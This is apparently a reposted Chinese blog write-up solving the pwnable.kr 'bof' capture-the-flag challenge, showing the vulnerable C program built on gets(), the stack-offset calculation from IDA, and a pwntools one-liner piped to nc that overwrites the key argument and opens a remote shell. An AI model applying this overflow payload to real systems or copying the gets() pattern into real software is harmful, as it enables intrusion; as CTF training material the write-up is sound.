bof

 题目给出了一个可执行文件和一个.c文件

打开.c可以看到源程序:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

需要让key==0xcafebabe,这里key是子函数的参数,被指定好,需要我们修改才可以成功。

函数调用时栈结构:

 

函数中有gets函数,可以由我们控制,输出长数据以至覆盖掉key,达到修改key目的。

问题变成需要多长数据?

用ida打开可执行文件,是32位的ida。

a1变量对应参数key,处于bp+0x8

s变量对应变量overflow数组,s处于bp-0x2c

二者之间差0x34,于是我们可以输入0x34的数据,然后到达key的地址,然后填入0xcafebabe

pwntools工具的p32()可以直接将数据0xcafebabe变为合适的数据

构造数据:

52*‘a’ + p32(0xcafebabe)

发送:

python -c "from pwn import *;print 52*'a' + p32(0xcafebabe)" | nc pwnable.kr 9000

然后一直一闪而过,貌似没成功,其实是sh弹出来然后一闪而过

加cat -,是为了防止shell一闪而过,保持与shell的连接。

显示的就是sh,直接输入命令即可

 

 

转载于:https://www.cnblogs.com/zhibin123/p/10709846.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值